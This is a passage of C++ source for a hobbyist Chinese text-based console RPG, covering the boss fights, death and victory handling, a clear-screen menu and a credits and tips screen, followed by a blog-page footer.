                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   	    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   	  if(zd>=1)
                          {
                          dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成15伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                          
                   		   if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=60;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了60金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		  
    		  
    		    if(j==6)		  
    		  {
    		    dm=30;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,森林巨人王\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=20;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了20点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    			    
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
                   	 if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   	    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   	  if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                   
                   	  if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=70;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了70金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		  } 
    		   
    		     if(j==7)		  
    		  {
    		    dm=41;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,深海巨龙\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=31;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了31点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    			   } 
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
                   	 if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   	    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   		  if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                   
                   	  if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=100;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了100金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		   
    		   
    		     if(j==8)		  
    		  {
    		    dm=80;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,九头大蛇\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=35;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了35点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    			   } 
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
                   	 if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   	    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   		   if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                   
                   		  if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=110;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了110金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		   
    		   
    		     if(j==9)		  
    		  {
    		    dm=200;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,三头龙\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=40;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了40点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    			   } 
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
                   	 if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   	    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   	  if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                   
                   	  if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"“呵呵,不自量力的小鬼“\n”去死吧!!!”\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=120;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"“不,不!!!我是不朽的!!!” “正义会得到伸张!” 你击败了三头龙\n从此,世界恢复了和平。(彩蛋)\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    system("pause"); 
                    return 1;
    			   }
    	     	}
    		}
    
    
    
    
    
                    qt:
                    system("color 3F");
    		  	    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_GREEN);
                    cout<<"  --------------------*其他*--------------------  \n";
    	            cout<<"  | 1.清除屏幕上所有类容  2.游戏相关信息       |  \n";
    	            cout<<"  | 3.返回主菜单                               |  \n";
                    cout<<"  -----------------祝您玩的开心-----------------  \n";
                    cin>>j;
                    
                    
                    
                    
                    
                    if(j==1)
                    {
                    	system("color 3F");
                    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                        FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                        cout<<"\n\n\n           正在清除           \n\n";
                         Sleep(1000);
                        cout<<"           5           \n";
                         Sleep(1000);
                        cout<<"           4           \n"; 
                         Sleep(1000);
                        cout<<"           3           \n";  
                         Sleep(1000);
                        cout<<"           2           \n";
                         Sleep(1000);
                        cout<<"           1           \n";  
                         Sleep(1000);
                        cout<<"           已清除\n";   
                    	system("cls");
                    	goto zcd;
    				}
    				
    					
    				if(j==2)
    				{
    					  system("color 3F");
    			          SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
    					  cout<<"--------------------制作相关信息--------------------\n";
    					  Sleep(300);
    					  cout<<"                   制作者:---li,玄,天者---                   \n";
    					  Sleep(300);
    					  cout<<"                  制作时间:41小时52分                 \n";
    					  Sleep(300);
    					  cout<<"         制作日期:2023年5月6日-2023年5月8日        \n";
    					  Sleep(300);
    					  cout<<"                       禁止侵权                     \n";
    					  Sleep(300);
    					  cout<<"                 联系电话1:157xxxxxxxx             \n";
    					  Sleep(300);
    					  cout<<"                     联系电话2:110                   \n";
    					  Sleep(300);
    					  cout<<"\n--------------------游戏相关信息--------------------\n";
    					  Sleep(300);
    					  cout<<"                     由于作者赖                     \n";
    					  Sleep(300);
    					  cout<<"      在战斗中使用技能,如果技能不够就会重新显示    \n";
    					  Sleep(300);
    					  cout<<"                 “1.攻击 2.使用技能”              \n";
    					  Sleep(300);
    					  cout<<"                  并不会显示数量不够                \n";
    					  Sleep(300);
    					  cout<<"       在查看背包里也可以查看金币和伤害和血量哦     \n";
    					  Sleep(300);
    					  cout<<"       为了真实,战斗前不会显示敌人的生命和伤害     \n";
    					  Sleep(300);
    					  cout<<"                 只有自己试了才知道哦               \n";
    					  Sleep(300);
    					  cout<<"         经过多次战斗,不要怕金币损失,而不回血     \n";
    					  Sleep(300);
    					  cout<<"        如果死了,会掉落所有物品,到时候别伤心哦    \n";
    					  Sleep(300);
    					  cout<<"        在战斗时,绷带和医疗包,不仅可以恢复血量    \n";
    					  Sleep(300);
    					  cout<<"      还可以加血比如说,你有40血,使用绷带会加5滴血 \n";
    					  Sleep(300);
    					  cout<<"               就会突破上限值,变成45滴血           \n";
    					  Sleep(300);
    					  cout<<"                利用这个bug奋击你的敌人吧           \n";
    					  Sleep(300);
    					  cout<<"                战斗时一定要随时关注血量哦          \n";
    					  Sleep(300);
    					  cout<<"                   战斗胜利了,不要骄傲             \n";
    					  Sleep(300);
    					  cout<<"                   一定按时查看血量哦               \n";
    					  Sleep(300);
    					  cout<<"               战败了,所有东西没了,也不要失望     \n";
    					  Sleep(300);
    					  cout<<"                    重整旗鼓,再来一局吧            \n";
    					  Sleep(300);
    					  cout<<"  由于游戏没有存档记录,关闭程序,存档记录就会消失哦\n";
    					  Sleep(300);
    					  cout<<"        只要打败最终BOSS三头龙,就算游戏通关了哦! \n";
    					  Sleep(300);
    					  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                          FOREGROUND_RED);
    				      system("pause"); 
    				      goto zcd;
    				}				
    				if(j==3)
    				{
    						SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                            FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                            cout<<"\n电脑正在拼命加载中...\n\n\n";
                            Sleep(1000);
            	            goto zcd;
    				}
        	 }
    	}   
    	return 0;	
    }
    

    Copy

    Hello,你是第 Page Views Count位来到这里的帅哥美女

    洛谷主页

    核桃oj主页

